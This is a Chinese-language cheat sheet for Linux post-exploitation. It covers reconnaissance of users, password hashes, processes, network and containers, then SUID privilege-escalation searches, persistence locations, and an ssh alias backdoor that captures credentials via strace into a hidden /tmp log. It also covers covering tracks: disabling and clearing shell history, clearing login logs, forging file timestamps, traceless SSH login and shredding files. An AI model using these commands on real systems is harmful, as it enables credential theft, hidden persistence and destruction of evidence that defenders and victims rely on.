# 信息收集
# 获取内核,操作系统和设备信息
-
版本信息
uname -a
所有版本uname -r
内核版本信息uname -n
系统主机名字uname -m
Linux 内核架构
-
内核信息
cat /proc/version
-
CPU 信息
cat /proc/cpuinfo
-
发布信息
cat /etc/*-release
cat /etc/issue
-
主机名
hostname
-
文件系统
df -a
-
内核日志
dmesg
//var/log/dmesg
# 用户和组
-
列出系统所有用户
cat /etc/passwd
-
列出系统所有组
cat /etc/group
-
列出所有用户 hash(root)
cat /etc/shadow
-
用户
- 查询用户的基本信息
finger
- 当前登录的用户
users
who -a
/var/log/utmp
- 查询无密码用户
grep 'x:0:' /etc/passwd
- 查询用户的基本信息
-
目前登录的用户
w
-
登入过的用户信息
last
//var/log/wtmp
-
显示系统中所有用户最近一次登录信息
lastlog
//var/log/lastlog
-
登录成功日志
/var/log/secure
-
登录失败日志
/var/log/faillog
-
查看特权用户
grep :0 /etc/passwd
-
查看 passwd 最后修改时间
ls -l /etc/passwd
-
查看是否存在空口令用户
awk -F: 'length($2)==0 {print $1}' /etc/shadow
-
查看远程登录的账号
awk '/\$1|\$6/{print $1}' /etc/shadow
-
查看具有 sudo 权限的用户
cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 用户和权限信息
- 当前用户
whoami
- 当前用户信息
id
- 可以使用 sudo 提升到 root 的用户(root)
cat /etc/sudoers
- 列出目前用户可执行与无法执行的指令
sudo -l
# 环境信息
- 打印系统环境信息
env
- 打印系统环境信息
set
- 环境变量中的路径信息
echo $PATH
- 打印历史命令
history
/~/.bash_history
- 显示当前路径
pwd
- 显示默认系统遍历
cat /etc/profile
- 显示可用的 shell
cat /etc/shells
# 进程信息
- 查看进程信息
ps aux
- 资源占有情况
top -c
- 查看进程关联文件
lsof -c $PID
- 完整命令行信息
/proc/$PID/cmdline
- 进程的命令名
/proc/$PID/comm
- 进程当前工作目录的符号链接
/proc/$PID/cwd
- 运行程序的符号链接
/proc/$PID/exe
- 进程的环境变量
/proc/$PID/environ
- 进程打开文件的情况
/proc/$PID/fd
# 服务信息
- 由 inetd 管理的服务列表
cat /etc/inetd.conf
- 由 xinetd 管理的服务列表
cat /etc/xinetd.conf
- nfs 服务器的配置
cat /etc/exports
- 邮件信息
/var/log/mailog
- ssh 配置
sshd_config
# 计划任务
- 显示指定用户的计划作业(root)
crontab -l -u %user%
- 计划任务
/var/spool/cron/*
/var/spool/anacron/*
/etc/crontab
/etc/anacrontab
/etc/cron.*
/etc/anacrontab
- 开机启动项
/etc/rc.d/init.d/
# 网络、路由和通信
- 列出网络接口信息
/sbin/ifconfig -a
/ip addr show
- 列出网络接口信息
cat /etc/network/interfaces
- 查看系统 arp 表
arp -a
- 打印路由信息
route
/ip ro show
- 查看 dns 配置信息
cat /etc/resolv.conf
- 打印本地端口开放信息
netstat -an
- 列出 iptable 的配置规则
iptables -L
- 查看端口服务映射
cat /etc/services
- Hostname
hostname -f
- 查看进程端口情况
netstat -anltp | grep $PID
# 已安装程序
rpm -qa --last
Redhatyum list | grep installed
CentOSls -l /etc/yum.repos.d/
dpkg -l
Debiancat /etc/apt/sources.list
Debian APTpkg_info
xBSDpkginfo
Solarispacman -Q
Arch Linuxemerge
Gentoo
# 文件
- 最近五天的文件
find / -ctime +1 -ctime -5
- 文件系统细节
debugfs
# 公私钥信息
~/.ssh
/etc/ssh
# 日志
/var/log/boot.log
/var/log/cron
/var/log/faillog
/var/log/lastlog
/var/log/messages
/var/log/secure
/var/log/syslog
/var/log/syslog
/var/log/wtmp
/var/log/wtmp
/var/run/utmp
# 虚拟环境检测
lsmod | grep -i "vboxsf\|vboxguest"
lsmod | grep -i "vmw_baloon\|vmxnet"
lsmod | grep -i "xen-vbd\|xen-vnif"
lsmod | grep -i "virtio_pci\|virtio_net"
lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc"
# 容器内信息收集
capsh --print
cat /proc/1/cgroup
env | grep KUBE
ls -l .dockerenv
ls -l /run/secrets/Kubernetes.io/
mount
ps aux
# 持久化
# 权限提升
- 内核漏洞利用
- 攻击有 root 权限的服务
- 利用第三方服务提权
- 通过有 SUID 属性的可执行文件
- 查找可能提权的可执行文件
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
- 利用可用的 root 权限
sudo -l
- 利用误配置的 crontab 任务
# 自启动
- /etc/init.d
- /etc/rc.d/rc.local
- ~/.bashrc
- ~/.zshrc
# 后门
- ssh 后门
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
- 后门账户
- 常见应用
- ICMP
- DNS
- icmp 后门
- 后门端口复用
.
开头隐藏文件- rootkit
# 痕迹清理
# 历史命令
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
kill -9 $$
kill historyhistory -c
- 在
HISTSIZE=0
中设置HISTSIZE=0
# 清除 / 修改日志文件
/var/log/btmp
/var/log/lastlog
/var/log/wtmp
/var/log/utmp
/var/log/secure
/var/log/message
# 登录痕迹
- 删除
~/.ssh/known_hosts
中记录 - 修改文件时间戳
touch –r
- 删除 tmp 目录临时文件
# 操作痕迹
- vim 不记录历史命令
:set history=0
- ssh 登录痕迹
- 无痕登录
ssh -T user@host /bin/bash -i
- 无痕登录
# 覆写文件
- shred
- dd
- wipe
# 难点
- 攻击和入侵很难完全删除痕迹,没有日志记录也是一种特征
- 即使删除本地日志,在网络设备、安全设备、集中化日志系统中仍有记录
- 留存的后门包含攻击者的信息
- 使用的代理或跳板可能会被反向入侵
# 注意
- 在操作前检查是否有用户在线
- 删除文件使用磁盘覆写的功能删除
- 尽量和攻击前状态保持一致
# 参考链接
- Linux 入侵痕迹清理技巧